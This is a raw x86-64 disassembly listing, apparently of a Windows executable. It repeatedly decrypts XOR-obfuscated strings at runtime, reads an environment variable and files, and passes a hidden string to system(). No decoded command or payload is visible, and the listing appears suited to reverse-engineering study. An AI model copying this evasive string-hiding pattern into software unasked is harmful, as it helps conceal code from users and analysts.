call fcn.7ff7691007b0
mov rbx, rax
movzx eax, byte [rax + 8]
test al, al
je 0x7ff7690ffca0
xor byte [rbx], 0x34
xor byte [rbx + 1], 0x35
xor byte [rbx + 2], 0x36
xor byte [rbx + 3], 0x37
xor byte [rbx + 4], 0x38
xor byte [rbx + 5], 0x39
xor byte [rbx + 6], 0x3a
xor byte [rbx + 7], 0x3b
xor al, 0x3c
mov byte [rbx + 8], al
lea rdx, [rbp]
lea rcx, [rbp + 0x110]
call fcn.7ff7690bc430
mov r8, rbx
lea rcx, [rbp - 0x70]
mov rdx, rax
call fcn.7ff7690d04a0
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.7ff7690cec40
lea rcx, [rbp - 0x70]
call fcn.7ff7690b6910
lea rcx, [rbp]
call fcn.7ff7690b6910
lea rdx, [0x7ff76917d4d0]
lea rcx, [rbp + 0x2a0]
call fcn.7ff7690dbfd0
lea rdx, [0x7ff7690f1650]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x2a0]
call fcn.7ff7690bd800
lea rcx, [rbp + 0x2a0]
call fcn.7ff7690bd5f0
lea rcx, [rbp + 0x170]
call fcn.7ff7690bd5f0
lea rdx, [rbp + 0x70]
call fcn.7ff7691007d0
mov rcx, rax
cmp byte [rax + 7], sil
je 0x7ff7690ffe81
cmp r12d, 2
jl 0x7ff7690ffe3d
movdqa xmm2, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff76917dd30]
movdqa xmm0, xmm2
mov eax, dword [0x7ff76917de50]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x7ff7690ffe81
mov r9, rcx
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x7ff7690ffe50
call qword [sym.imp.ucrtbase.dll_getenv]
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x280]
call fcn.7ff7690d0510
lea rdx, [rsp + 0x38]
call fcn.7ff769100800
mov r10, rax
cmp byte [rax + 7], sil
je 0x7ff769100001
cmp r12d, 2
jl 0x7ff7690fffbc
movdqa xmm2, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff76917dd30]
movdqa xmm0, xmm2
mov eax, dword [0x7ff76917de50]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x7ff769100001
mov r9, r10
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x7ff7690fffd0
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xe0], r10
lea rcx, [rbp]
call fcn.7ff7690d0510
lea rdx, [rbp + 0x20]
call fcn.7ff7691007e0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x7ff76910004e
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0xe0], rax
lea rcx, [rbp - 0x70]
call fcn.7ff7690d0510
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x30]
call fcn.7ff7690c03f0
mov rdx, rax
lea r8, [rbp]
lea rcx, [rbp + 0x150]
call fcn.7ff7690c03f0
lea rcx, [rbp + 0x30]
call fcn.7ff7690bc480
lea rcx, [rbp - 0x70]
call fcn.7ff7690bc480
lea rcx, [rbp]
call fcn.7ff7690bc480
lea rcx, [rbp + 0x150]
call fcn.7ff7690c06a0
lea rcx, [rbp + 0x3b0]
call fcn.7ff7690bd660
lea rdx, [rbp + 0xd0]
call fcn.7ff769100810
mov rbx, rax
cmp byte [rax + 0xd], sil
je 0x7ff769100221
mov r8d, esi
cmp r12d, 2
jl 0x7ff7691001df
movdqa xmm2, xmmword [0x7ff76917dd10]
mov r8d, 8
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x7ff76917dd30]
movdqa xmm0, xmm2
mov eax, dword [0x7ff76917de50]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x7ff76917dd60]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x7ff7691001f0
lea rdx, [rbp]
lea rcx, [rbp + 0x150]
call fcn.7ff7690bc430
mov r8, rbx
lea rcx, [rbp - 0x70]
mov rdx, rax
call fcn.7ff7690d04a0
mov rdx, rax
lea rcx, [rbp + 0x3b0]
call fcn.7ff7690cec40
lea rcx, [rbp - 0x70]
call fcn.7ff7690b6910
lea rcx, [rbp]
call fcn.7ff7690b6910
lea rdx, [0x7ff76917d4d0]
lea rcx, [rbp + 0x3b0]
call fcn.7ff7690dbfd0
lea rdx, [0x7ff7690f1650]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x3b0]
call fcn.7ff7690bd800
lea rdx, [rbp + 0xf0]
call fcn.7ff769100840
mov r10, rax
cmp byte [rax + 0x14], sil
je 0x7ff769100431
mov r8d, esi
cmp r12d, 2
jl 0x7ff7691003f7
movdqa xmm0, xmmword [0x7ff76917de50]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x7ff7691002f0
cmp r8d, 0x15
jge 0x7ff769100431
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x7ff769100400
lea rdx, [rbp + 0x50]
call fcn.7ff769100720
movzx ecx, byte [rax + 4]
test cl, cl
je 0x7ff769100457
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, r10
mov rdx, rax
call fcn.7ff7690d0f30
lea rcx, [0x7ff7691bc420]
call fcn.7ff7690f59d0
test al, al
jne 0x7ff76910064d
lea rdx, [rbp + 0xf0]
call fcn.7ff769100870
mov r9, rax
cmp byte [rax + 0x1e], sil
je 0x7ff76910060e
cmp r12d, 2
jl 0x7ff7691005d4
movdqa xmm0, xmmword [0x7ff76917de50]
mov rcx, rax
movdqa xmm5, xmmword [0x7ff76917dd10]
movdqa xmm4, xmmword [0x7ff76917df60]
movdqa xmm6, xmmword [0x7ff76917dd60]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, esi
lea eax, [rsi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add esi, 8
pmuldq xmm1, xmm4
mov eax, esi
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x7ff76917de10]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp esi, 0x18
jl 0x7ff7691004d0
cmp eax, 0x1f
jge 0x7ff76910060e
movsxd r8, esi
add r8, r9
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
inc esi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp esi, 0x1f
jl 0x7ff7691005e0
lea rdx, [rsp + 0x30]
call fcn.7ff769100720
movzx ecx, byte [rax + 4]
test cl, cl
je 0x7ff769100635
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov r8, r9
mov rdx, rax
call fcn.7ff7690d0f20
lea rcx, [0x7ff76917d4dc]
call qword [sym.imp.ucrtbase.dll_system]
call fcn.7ff7690f1180
int3
lea r8, [rbp + 0x30]
lea rdx, [rbp + 0xf0]
lea rcx, [0x7ff76917b8a8]
call fcn.7ff7690bcac0
int3